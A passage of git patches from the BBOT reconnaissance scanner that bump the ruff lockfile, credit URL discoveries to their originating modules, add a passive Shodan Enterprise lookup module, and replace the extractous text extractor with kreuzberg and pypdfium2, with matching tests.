= 12005701, upload-time = "2026-01-22T22:30:20.499Z" }, - { url = "https://files.pythonhosted.org/packages/41/d6/99364514541cf811ccc5ac44362f88df66373e9fec1b9d1c4cc830593fe7/ruff-0.14.14-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1cc12d74eef0f29f51775f5b755913eb523546b88e2d733e1d701fe65144e89b", size = 11282455, upload-time = "2026-01-22T22:29:59.679Z" }, - { url = "https://files.pythonhosted.org/packages/ca/71/37daa46f89475f8582b7762ecd2722492df26421714a33e72ccc9a84d7a5/ruff-0.14.14-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb8481604b7a9e75eff53772496201690ce2687067e038b3cc31aaf16aa0b974", size = 11215882, upload-time = "2026-01-22T22:29:57.032Z" }, - { url = "https://files.pythonhosted.org/packages/2c/10/a31f86169ec91c0705e618443ee74ede0bdd94da0a57b28e72db68b2dbac/ruff-0.14.14-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:14649acb1cf7b5d2d283ebd2f58d56b75836ed8c6f329664fa91cdea19e76e66", size = 11180549, upload-time = "2026-01-22T22:30:27.175Z" }, - { url = "https://files.pythonhosted.org/packages/fd/1e/c723f20536b5163adf79bdd10c5f093414293cdf567eed9bdb7b83940f3f/ruff-0.14.14-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:e8058d2145566510790eab4e2fad186002e288dec5e0d343a92fe7b0bc1b3e13", size = 10543416, upload-time = "2026-01-22T22:30:01.964Z" }, - { url = "https://files.pythonhosted.org/packages/3e/34/8a84cea7e42c2d94ba5bde1d7a4fae164d6318f13f933d92da6d7c2041ff/ruff-0.14.14-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e651e977a79e4c758eb807f0481d673a67ffe53cfa92209781dfa3a996cf8412", size = 10285491, upload-time = "2026-01-22T22:30:29.51Z" }, - { url = "https://files.pythonhosted.org/packages/55/ef/b7c5ea0be82518906c978e365e56a77f8de7678c8bb6651ccfbdc178c29f/ruff-0.14.14-py3-none-musllinux_1_2_i686.whl", hash = "sha256:cc8b22da8d9d6fdd844a68ae937e2a0adf9b16514e9a97cc60355e2d4b219fc3", size = 10733525, upload-time = "2026-01-22T22:30:06.499Z" }, - { url = "https://files.pythonhosted.org/packages/6a/5b/aaf1dfbcc53a2811f6cc0a1759de24e4b03e02ba8762daabd9b6bd8c59e3/ruff-0.14.14-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:16bc890fb4cc9781bb05beb5ab4cd51be9e7cb376bf1dd3580512b24eb3fda2b", size = 11315626, upload-time = "2026-01-22T22:30:36.848Z" }, - { url = "https://files.pythonhosted.org/packages/2c/aa/9f89c719c467dfaf8ad799b9bae0df494513fb21d31a6059cb5870e57e74/ruff-0.14.14-py3-none-win32.whl", hash = "sha256:b530c191970b143375b6a68e6f743800b2b786bbcf03a7965b06c4bf04568167", size = 10502442, upload-time = "2026-01-22T22:30:38.93Z" }, - { url = "https://files.pythonhosted.org/packages/87/44/90fa543014c45560cae1fffc63ea059fb3575ee6e1cb654562197e5d16fb/ruff-0.14.14-py3-none-win_amd64.whl", hash = "sha256:3dde1435e6b6fe5b66506c1dff67a421d0b7f6488d466f651c07f4cab3bf20fd", size = 11630486, upload-time = "2026-01-22T22:30:10.852Z" }, - { url = "https://files.pythonhosted.org/packages/9e/6a/40fee331a52339926a92e17ae748827270b288a35ef4a15c9c8f2ec54715/ruff-0.14.14-py3-none-win_arm64.whl", hash = "sha256:56e6981a98b13a32236a72a8da421d7839221fa308b223b9283312312e5ac76c", size = 10920448, upload-time = "2026-01-22T22:30:15.417Z" }, +version = "0.15.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/04/eab13a954e763b0606f460443fcbf6bb5a0faf06890ea3754ff16523dce5/ruff-0.15.2.tar.gz", hash = "sha256:14b965afee0969e68bb871eba625343b8673375f457af4abe98553e8bbb98342", size = 4558148, upload-time = "2026-02-19T22:32:20.271Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2f/70/3a4dc6d09b13cb3e695f28307e5d889b2e1a66b7af9c5e257e796695b0e6/ruff-0.15.2-py3-none-linux_armv6l.whl", hash = "sha256:120691a6fdae2f16d65435648160f5b81a9625288f75544dc40637436b5d3c0d", size = 10430565, upload-time = "2026-02-19T22:32:41.824Z" }, + { url = "https://files.pythonhosted.org/packages/71/0b/bb8457b56185ece1305c666dc895832946d24055be90692381c31d57466d/ruff-0.15.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a89056d831256099658b6bba4037ac6dd06f49d194199215befe2bb10457ea5e", size = 10820354, upload-time = "2026-02-19T22:32:07.366Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c1/e0532d7f9c9e0b14c46f61b14afd563298b8b83f337b6789ddd987e46121/ruff-0.15.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e36dee3a64be0ebd23c86ffa3aa3fd3ac9a712ff295e192243f814a830b6bd87", size = 10170767, upload-time = "2026-02-19T22:32:13.188Z" }, + { url = "https://files.pythonhosted.org/packages/47/e8/da1aa341d3af017a21c7a62fb5ec31d4e7ad0a93ab80e3a508316efbcb23/ruff-0.15.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a9fb47b6d9764677f8c0a193c0943ce9a05d6763523f132325af8a858eadc2b9", size = 10529591, upload-time = "2026-02-19T22:32:02.547Z" }, + { url = "https://files.pythonhosted.org/packages/93/74/184fbf38e9f3510231fbc5e437e808f0b48c42d1df9434b208821efcd8d6/ruff-0.15.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f376990f9d0d6442ea9014b19621d8f2aaf2b8e39fdbfc79220b7f0c596c9b80", size = 10260771, upload-time = "2026-02-19T22:32:36.938Z" }, + { url = "https://files.pythonhosted.org/packages/05/ac/605c20b8e059a0bc4b42360414baa4892ff278cec1c91fff4be0dceedefd/ruff-0.15.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2dcc987551952d73cbf5c88d9fdee815618d497e4df86cd4c4824cc59d5dd75f", size = 11045791, upload-time = "2026-02-19T22:32:31.642Z" }, + { url = "https://files.pythonhosted.org/packages/fd/52/db6e419908f45a894924d410ac77d64bdd98ff86901d833364251bd08e22/ruff-0.15.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:42a47fd785cbe8c01b9ff45031af875d101b040ad8f4de7bbb716487c74c9a77", size = 11879271, upload-time = "2026-02-19T22:32:29.305Z" }, + { url = "https://files.pythonhosted.org/packages/3e/d8/7992b18f2008bdc9231d0f10b16df7dda964dbf639e2b8b4c1b4e91b83af/ruff-0.15.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cbe9f49354866e575b4c6943856989f966421870e85cd2ac94dccb0a9dcb2fea", size = 11303707, upload-time = "2026-02-19T22:32:22.492Z" }, + { url = "https://files.pythonhosted.org/packages/d7/02/849b46184bcfdd4b64cde61752cc9a146c54759ed036edd11857e9b8443b/ruff-0.15.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7a672c82b5f9887576087d97be5ce439f04bbaf548ee987b92d3a7dede41d3a", size = 11149151, upload-time = "2026-02-19T22:32:44.234Z" }, + { url = "https://files.pythonhosted.org/packages/70/04/f5284e388bab60d1d3b99614a5a9aeb03e0f333847e2429bebd2aaa1feec/ruff-0.15.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ecc64f46f7019e2bcc3cdc05d4a7da958b629a5ab7033195e11a438403d956", size = 11091132, upload-time = "2026-02-19T22:32:24.691Z" }, + { url = "https://files.pythonhosted.org/packages/fa/ae/88d844a21110e14d92cf73d57363fab59b727ebeabe78009b9ccb23500af/ruff-0.15.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:8dcf243b15b561c655c1ef2f2b0050e5d50db37fe90115507f6ff37d865dc8b4", size = 10504717, upload-time = "2026-02-19T22:32:26.75Z" }, + { url = "https://files.pythonhosted.org/packages/64/27/867076a6ada7f2b9c8292884ab44d08fd2ba71bd2b5364d4136f3cd537e1/ruff-0.15.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dab6941c862c05739774677c6273166d2510d254dac0695c0e3f5efa1b5585de", size = 10263122, upload-time = "2026-02-19T22:32:10.036Z" }, + { url = "https://files.pythonhosted.org/packages/e7/ef/faf9321d550f8ebf0c6373696e70d1758e20ccdc3951ad7af00c0956be7c/ruff-0.15.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b9164f57fc36058e9a6806eb92af185b0697c9fe4c7c52caa431c6554521e5c", size = 10735295, upload-time = "2026-02-19T22:32:39.227Z" }, + { url = "https://files.pythonhosted.org/packages/2f/55/e8089fec62e050ba84d71b70e7834b97709ca9b7aba10c1a0b196e493f97/ruff-0.15.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:80d24fcae24d42659db7e335b9e1531697a7102c19185b8dc4a028b952865fd8", size = 11241641, upload-time = "2026-02-19T22:32:34.617Z" }, + { url = "https://files.pythonhosted.org/packages/23/01/1c30526460f4d23222d0fabd5888868262fd0e2b71a00570ca26483cd993/ruff-0.15.2-py3-none-win32.whl", hash = "sha256:fd5ff9e5f519a7e1bd99cbe8daa324010a74f5e2ebc97c6242c08f26f3714f6f", size = 10507885, upload-time = "2026-02-19T22:32:15.635Z" }, + { url = "https://files.pythonhosted.org/packages/5c/10/3d18e3bbdf8fc50bbb4ac3cc45970aa5a9753c5cb51bf9ed9a3cd8b79fa3/ruff-0.15.2-py3-none-win_amd64.whl", hash = "sha256:d20014e3dfa400f3ff84830dfb5755ece2de45ab62ecea4af6b7262d0fb4f7c5", size = 11623725, upload-time = "2026-02-19T22:32:04.947Z" }, + { url = "https://files.pythonhosted.org/packages/6d/78/097c0798b1dab9f8affe73da9642bb4500e098cb27fd8dc9724816ac747b/ruff-0.15.2-py3-none-win_arm64.whl", hash = "sha256:cabddc5822acdc8f7b5527b36ceac55cc51eec7b1946e60181de8fe83ca8876e", size = 10941649, upload-time = "2026-02-19T22:32:18.108Z" }, ] [[package]] From 2c4956250369d81338477cf4b38a2f0ae5d8a8d3 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 26 Feb 2026 10:37:18 -0500 Subject: [PATCH 242/912] Attribute verified URL stats to discovering module instead of httpx --- bbot/scanner/stats.py | 23 +++++++- bbot/test/test_step_1/test_scan.py | 90 ++++++++++++++++++++++++++++++ 2 files changed, 112 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/stats.py b/bbot/scanner/stats.py index 71547ddab9..faf950138c 100644 --- a/bbot/scanner/stats.py +++ b/bbot/scanner/stats.py @@ -4,6 +4,10 @@ log = logging.getLogger("bbot.scanner.stats") +_VERIFIED_TO_UNVERIFIED = { + "URL": "URL_UNVERIFIED", +} + def _increment(d, k): try: @@ -43,9 +47,26 @@ def __init__(self, scan): self.events_emitted_by_type = {} self.speedometer = SpeedCounter(scan.status_frequency) + def _get_attribution_module(self, event): + """Return the module that should get credit for producing this event. + + For verified event types (e.g. URL verified from URL_UNVERIFIED), credit + goes to the module that originally discovered the unverified form, + unless the discovering module doesn't declare the unverified type in its produced_events. + """ + unverified_type = _VERIFIED_TO_UNVERIFIED.get(event.type) + if unverified_type is not None: + parent = getattr(event, "parent", None) + if parent is not None and getattr(parent, "type", None) == unverified_type: + parent_module = getattr(parent, "module", None) + if parent_module is not None and unverified_type in getattr(parent_module, "produced_events", []): + return parent_module + return event.module + def event_produced(self, event): _increment(self.events_emitted_by_type, event.type) - module_stat = self.get(event.module) + module = self._get_attribution_module(event) + module_stat = self.get(module) if module_stat is not None: module_stat.increment_produced(event) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index a375fc3c3a..2ef8ec76dc 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -206,6 +206,96 @@ async def test_speed_counter(): assert 4 <= counter.speed <= 5 +@pytest.mark.asyncio +async def test_stats_attribution(): + from bbot.scanner.stats import ScanStats + from types import SimpleNamespace + + def mock_module(name, produced_events=None): + return SimpleNamespace(name=name, _stats_exclude=False, produced_events=produced_events or []) + + def mock_event(type, module, parent=None): + e = SimpleNamespace(type=type, module=module) + if parent is not None: + e.parent = parent + return e + + mock_scan = SimpleNamespace(status_frequency=60) + stats = ScanStats(mock_scan) + + httpx_mod = mock_module("httpx", ["URL", "HTTP_RESPONSE"]) + excavate_mod = mock_module("excavate", ["URL_UNVERIFIED", "WEB_PARAMETER"]) + ffuf_mod = mock_module("ffuf_shortnames", ["URL_UNVERIFIED"]) + ffuf2_mod = mock_module("ffuf", ["URL_UNVERIFIED"]) + speculate_mod = mock_module("speculate", ["DNS_NAME", "OPEN_TCP_PORT", "IP_ADDRESS", "FINDING", "ORG_STUB"]) + robots_mod = mock_module("robots", ["URL_UNVERIFIED"]) + + # 1) excavate discovers URL_UNVERIFIED from HTTP_RESPONSE, httpx verifies → excavate gets credit + for _ in range(5): + parent = mock_event("URL_UNVERIFIED", excavate_mod) + stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + + # 2) ffuf_shortnames discovers URL_UNVERIFIED, httpx verifies → ffuf_shortnames gets credit + for _ in range(3): + parent = mock_event("URL_UNVERIFIED", ffuf_mod) + stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + + # 3) ffuf discovers URL_UNVERIFIED, httpx verifies → ffuf gets credit + parent = mock_event("URL_UNVERIFIED", ffuf2_mod) + stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + + # 4) speculate (internal module) creates URL_UNVERIFIED, httpx verifies → httpx keeps credit + for _ in range(4): + parent = mock_event("URL_UNVERIFIED", speculate_mod) + stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + + # 5) robots discovers URL_UNVERIFIED, httpx verifies → robots gets credit + for _ in range(2): + parent = mock_event("URL_UNVERIFIED", robots_mod) + stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + + # 6) httpx discovers URL directly from OPEN_TCP_PORT (no URL_UNVERIFIED parent) → httpx keeps credit + for _ in range(2): + parent = mock_event("OPEN_TCP_PORT", mock_module("portscan")) + stats.event_produced(mock_event("URL", httpx_mod, parent=parent)) + + # 7) non-URL event types are unaffected + stats.event_produced(mock_event("DNS_NAME", mock_module("CNAME"))) + stats.event_produced(mock_event("STORAGE_BUCKET", mock_module("cloudcheck"))) + + # verify per-module produced counts + assert stats.module_stats["excavate"].produced == {"URL": 5} + assert stats.module_stats["ffuf_shortnames"].produced == {"URL": 3} + assert stats.module_stats["ffuf"].produced == {"URL": 1} + assert stats.module_stats["robots"].produced == {"URL": 2} + # httpx gets credit for speculate's 4 URLs + 2 from OPEN_TCP_PORT = 6 + assert stats.module_stats["httpx"].produced == {"URL": 6} + assert "speculate" not in stats.module_stats + assert stats.module_stats["CNAME"].produced == {"DNS_NAME": 1} + assert stats.module_stats["cloudcheck"].produced == {"STORAGE_BUCKET": 1} + + # verify the table output (sorted by produced_total descending) + table = stats.table() + header = table[0] + rows = table[1:] + assert header == ["Module", "Produced", "Consumed"] + + # build a dict of module_name -> produced_str from the table + table_dict = {row[0]: row[1] for row in rows} + assert table_dict["httpx"] == "6 (6 URL)" + assert table_dict["excavate"] == "5 (5 URL)" + assert table_dict["ffuf_shortnames"] == "3 (3 URL)" + assert table_dict["robots"] == "2 (2 URL)" + assert table_dict["ffuf"] == "1 (1 URL)" + assert table_dict["CNAME"] == "1 (1 DNS_NAME)" + assert table_dict["cloudcheck"] == "1 (1 STORAGE_BUCKET)" + assert "speculate" not in table_dict + + # verify sort order (highest produced first) + produced_totals = [stats.module_stats[row[0]].produced_total for row in rows] + assert produced_totals == sorted(produced_totals, reverse=True) + + @pytest.mark.asyncio async def test_python_output_matches_json(bbot_scanner): import json From 51a0b4d3763b3547a7c96ec486720ee215a8dfc4 Mon Sep 17 00:00:00 2001 From: Andrii K <xxix0@icloud.com> Date: Thu, 26 Feb 2026 21:10:01 +0200 Subject: [PATCH 243/912] Add new module Shodan Enterprise --- bbot/modules/shodan_enterprise.py | 126 ++++++++++++++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 bbot/modules/shodan_enterprise.py diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py new file mode 100644 index 0000000000..ec00aea6b6 --- /dev/null +++ b/bbot/modules/shodan_enterprise.py @@ -0,0 +1,126 @@ +import shodan +from bbot.modules.base import BaseModule + + +class shodan_enterprise(BaseModule): + watched_events = ["IP_ADDRESS"] + produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "ASN", "VULNERABILITY"] + flags = ["passive"] + meta = { + "created_date": "2023-08-04", + "author": "@Control-Punk-Delete", + "description": "Shodan Enterprise API integration module. Returns all services that have been found on the given host IP.", + } + deps_pip = ["shodan"] + options = {"api_key": "", "history": False, "minify": False} + options_desc = { + "api_key": "Shodan API Key", + "history": "(optional) True if you want to grab the historical (non-current) banners for the host, False otherwise.", + "minify": "(optional) True to only return the list of ports and the general host information, no banners, False otherwise.", + } + per_host_only = True + scope_distance_modifier = 1 + target_only = True + + async def setup(self): + if not self.config.get("api_key"): + return None, "No API key specified" + + self.api_key = self.config.get("api_key") + self.history = self.config.get("history") + self.minify = self.config.get("minify") + return True + + async def handle_event(self, event): + try: + api = shodan.Shodan(self.api_key) + + host = api.host(ips=event.data, history=self.history, minify=self.minify) + + # ASN Extraction + asn = { + "asn": host["asn"][2:], + "name": host["org"], + "description": host["isp"], + "country": host["country_code"], + } + await self.emit_event( + asn, + "ASN", + parent=event, + tags=[], + context=f"Shodan make a request about host {event.data} request and find ASN", + ) + + if "data" in host: + for data in host["data"]: + # TECHNOLOGY Extraction + if "cpe" in data: + for technology in data["cpe"]: + tech = {"technology": technology, "host": data["ip_str"], "port": data["port"]} + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=[], + context=f"Shodan make a request about host {event.data} request and find TECHNOLOGY: {technology}", + ) + + if "cpe23" in data: + for technology in data["cpe23"]: + tech = {"technology": technology, "host": data["ip_str"], "port": data["port"]} + await self.emit_event( + tech, + "TECHNOLOGY", + parent=event, + tags=[], + context=f"Shodan make a request about host {event.data} request and find TECHNOLOGY: {technology}", + ) + + # OPEN_TCP_PORT, OPEN_UDP_PORT Extraction + if "port" in data and "transport" in data: + if data["transport"] == "tcp": + await self.emit_event( + self.helpers.make_netloc(event.data, data["port"]), "OPEN_TCP_PORT", parent=event + ) + + elif data["transport"] == "udp": + await self.emit_event( + self.helpers.make_netloc(event.data, data["port"]), "OPEN_UDP_PORT", parent=event + ) + + else: + self.warning(f"[WARNING] unknown transport {data['transport']}") + + # VULNERABILITY Extraction + if "vulns" in data: + for item in data["vulns"]: + cve = item + vuln = { + "host": data["ip_str"], + "severity": "LOW", + "description": f'{cve}. {data["vulns"][item].get("summary")}', + "name": cve, + "cve": cve, + "kev": data["vulns"][item].get("kev") or None, + "ranking_epss": data["vulns"][item].get("ranking_epss"), + "cvss": data["vulns"][item].get("cvss"), + "cvss_v2": data["vulns"][item].get("cvss_v2"), + "epss": data["vulns"][item].get("epss"), + "verified": data["vulns"][item].get("verified"), + "references": data["vulns"][item].get("references") or None, + } + + await self.emit_event( + vuln, + "VULNERABILITY", + parent=event, + tags=["shodan"], + context=f"Shodan make a request about host {event.data} request and find {cve}", + ) + + else: + self.info("[INFO] No data to extract") + + except shodan.APIError as e: + self.error(f"[ERROR] Shodan API key error: {e}") From 4c719d177c0b5889dfa8393d528a425fa4b2e0cc Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 26 Feb 2026 18:08:15 -0500 Subject: [PATCH 244/912] Add Python 3.10-3.14 support, replace extractous with kreuzberg --- .github/workflows/tests.yml | 2 +- bbot/modules/internal/excavate.py | 2 +- bbot/modules/{extractous.py => kreuzberg.py} | 64 ++++++------- .../module_tests/test_module_excavate.py | 20 ++--- .../module_tests/test_module_extractous.py | 66 -------------- .../module_tests/test_module_kreuzberg.py | 89 +++++++++++++++++++ .../module_tests/test_module_trufflehog.py | 2 +- docs/data/chord_graph/entities.json | 2 +- docs/modules/list_of_modules.md | 2 +- docs/scanning/advanced.md | 2 +- docs/scanning/configuration.md | 2 +- docs/scanning/events.md | 4 +- docs/scanning/index.md | 4 +- pyproject.toml | 6 +- uv.lock | 6 +- 15 files changed, 145 insertions(+), 128 deletions(-) rename bbot/modules/{extractous.py => kreuzberg.py} (73%) delete mode 100644 bbot/test/test_step_2/module_tests/test_module_extractous.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_kreuzberg.py diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index f2c88fa671..748ededd04 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -17,7 +17,7 @@ jobs: # if one python version fails, let the others finish fail-fast: false matrix: - python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] + python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] steps: - uses: actions/checkout@v6 - name: Set up Python diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 44ddbe7320..61421d4727 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1271,7 +1271,7 @@ async def handle_event(self, event, **kwargs): content_type = headers["content-type"][0] # skip PDF responses -- running YARA/regex on raw PDF bytes produces false positives and wastes time. - # PDFs are still processed correctly via the filedownload → extractous → RAW_TEXT pipeline, + # PDFs are still processed correctly via the filedownload → kreuzberg → RAW_TEXT pipeline, # which extracts readable text and feeds it back to excavate as a RAW_TEXT event (handled separately below). # TODO: remove this in favor of a proper categorization system for text vs non-text (i.e. to-be-extracted) content if content_type and "application/pdf" in content_type.lower(): diff --git a/bbot/modules/extractous.py b/bbot/modules/kreuzberg.py similarity index 73% rename from bbot/modules/extractous.py rename to bbot/modules/kreuzberg.py index c37be08008..2b04176d11 100644 --- a/bbot/modules/extractous.py +++ b/bbot/modules/kreuzberg.py @@ -1,9 +1,10 @@ -from extractous import Extractor +import pypdfium2 +from kreuzberg import extract_file from bbot.modules.base import BaseModule -class extractous(BaseModule): +class kreuzberg(BaseModule): watched_events = ["FILESYSTEM"] produced_events = ["RAW_TEXT"] flags = ["passive", "safe"] @@ -65,7 +66,7 @@ class extractous(BaseModule): "extensions": "File extensions to parse", } - deps_pip = ["extractous~=0.3.0"] + deps_pip = ["kreuzberg~=4.3", "pypdfium2~=5.0"] scope_distance_modifier = 1 async def setup(self): @@ -82,11 +83,17 @@ async def filter_event(self, event): async def handle_event(self, event): file_path = event.data["path"] - content = await self.scan.helpers.run_in_executor_mp(extract_text, file_path) - if isinstance(content, tuple): - error, traceback = content - self.error(f"Error extracting text from {file_path}: {error}") - self.trace(traceback) + try: + if file_path.lower().endswith(".pdf"): + content = await self.helpers.run_in_executor_mp(self.extract_pdf, file_path) + else: + result = await extract_file(file_path) + content = result.content.strip() + except Exception as e: + import traceback + + self.error(f"Error extracting text from {file_path}: {e}") + self.trace(traceback.format_exc()) return if content: @@ -98,27 +105,22 @@ async def handle_event(self, event): ) await self.emit_event(raw_text_event) + @staticmethod + def extract_pdf(file_path): + """Extract text from PDF using pypdfium2 directly instead of kreuzberg. -def extract_text(file_path): - """ - extract_text Extracts plaintext from a document path using extractous. - - :param file_path: The path of the file to extract text from. - :return: ASCII-encoded plaintext extracted from the document. - """ - - try: - extractor = Extractor() - reader, metadata = extractor.extract_file(str(file_path)) - - result = "" - buffer = reader.read(4096) - while len(buffer) > 0: - result += buffer.decode("utf-8", errors="ignore") - buffer = reader.read(4096) - - return result.strip() - except Exception as e: - import traceback - - return (str(e), traceback.format_exc()) + kreuzberg's bundled pdfium extracts text spatially via get_text_bounded(), which + clips long unbroken strings (JWTs, base64, URLs) that extend beyond the page width. + pypdfium2's get_text_range() extracts by character index, returning complete text + regardless of spatial position. + """ + document = pypdfium2.PdfDocument(file_path) + try: + pages = [] + for page in document: + textpage = page.get_textpage() + text = textpage.get_text_range() + pages.append(text) + return " ".join("\n".join(pages).strip().split()) + finally: + document.close() diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index a7dc794a1e..259146fe41 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1322,7 +1322,7 @@ def check(self, module_test, events): class TestExcavateRAWTEXT(ModuleTestBase): targets = ["http://127.0.0.1:8888/", "test.notreal"] - modules_overrides = ["excavate", "httpx", "filedownload", "extractous"] + modules_overrides = ["excavate", "httpx", "filedownload", "kreuzberg"] config_overrides = { "scope": {"report_distance": 1}, "web": {"spider_distance": 2, "spider_depth": 2}, @@ -1400,15 +1400,7 @@ class TestExcavateRAWTEXT(ModuleTestBase): startxref 1669 %%EOF""" - extractous_response = """This is an email example@blacklanternsecurity.notreal - -An example JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c - -A serialized DOTNET object AAEAAAD/////AQAAAAAAAAAMAgAAAFJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmddXSwgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGFlMwEAAAAIQ29tcGFyZXIQSXRlbUNvdW50AQMAAAAJAwAAAAlTeXN0ZW0uU3RyaW5nW10FAAAACQIAAAAJBAAAAAkFAAAACRcAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAkRAAAACRIAAAAJEwAAAA== - -A full url https://www.test.notreal/about - -A href <a href='/donot_detect.js'>Click me</a>""" + kreuzberg_response = "This is an email example@blacklanternsecurity.notreal An example JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c A serialized DOTNET object AAEAAAD/////AQAAAAAAAAAMAgAAAFJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmddXSwgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGFlMwEAAAAIQ29tcGFyZXIQSXRlbUNvdW50AQMAAAAJAwAAAAlTeXN0ZW0uU3RyaW5nW10FAAAACQIAAAAJBAAAAAkFAAAACRcAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAkRAAAACRIAAAAJEwAAAA== A full url https://www.test.notreal/about A href <a href='/donot_detect.js'>Click me</a>" async def setup_after_prep(self, module_test): module_test.set_expect_requests( @@ -1429,13 +1421,13 @@ def check(self, module_test, events): assert open(file).read() == self.pdf_data, f"File at {file} does not contain the correct content" raw_text_events = [e for e in events if e.type == "RAW_TEXT"] assert 1 == len(raw_text_events), "Failed to emit RAW_TEXT event" - assert raw_text_events[0].data == self.extractous_response, ( + assert raw_text_events[0].data == self.kreuzberg_response, ( f"Text extracted from PDF is incorrect, got {raw_text_events[0].data}" ) email_events = [e for e in events if e.type == "EMAIL_ADDRESS"] assert 1 == len(email_events), "Failed to emit EMAIL_ADDRESS event" assert email_events[0].data == "example@blacklanternsecurity.notreal", ( - f"Email extracted from extractous text is incorrect, got {email_events[0].data}" + f"Email extracted from kreuzberg text is incorrect, got {email_events[0].data}" ) finding_events = [e for e in events if e.type == "FINDING"] assert 2 == len(finding_events), "Failed to emit FINDING events" @@ -1460,10 +1452,10 @@ def check(self, module_test, events): assert finding_events[0].data["path"] == str(file), "File path not included in finding event" url_events = [e.data for e in events if e.type == "URL_UNVERIFIED"] assert "https://www.test.notreal/about" in url_events, ( - f"URL extracted from extractous text is incorrect, got {url_events}" + f"URL extracted from kreuzberg text is incorrect, got {url_events}" ) assert "/donot_detect.js" not in url_events, ( - f"URL extracted from extractous text is incorrect, got {url_events}" + f"URL extracted from kreuzberg text is incorrect, got {url_events}" ) diff --git a/bbot/test/test_step_2/module_tests/test_module_extractous.py b/bbot/test/test_step_2/module_tests/test_module_extractous.py deleted file mode 100644 index 19380dbf06..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_extractous.py +++ /dev/null @@ -1,66 +0,0 @@ -import base64 -from pathlib import Path -from .base import ModuleTestBase - -from ...bbot_fixtures import * - - -class TestExtractous(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["extractous", "filedownload", "httpx", "excavate", "speculate"] - config_overrides = { - "web": { - "spider_distance": 2, - "spider_depth": 2, - }, - "modules": { - "filedownload": { - "output_folder": bbot_test_dir / "filedownload", - }, - }, - } - - pdf_data = base64.b64decode( - 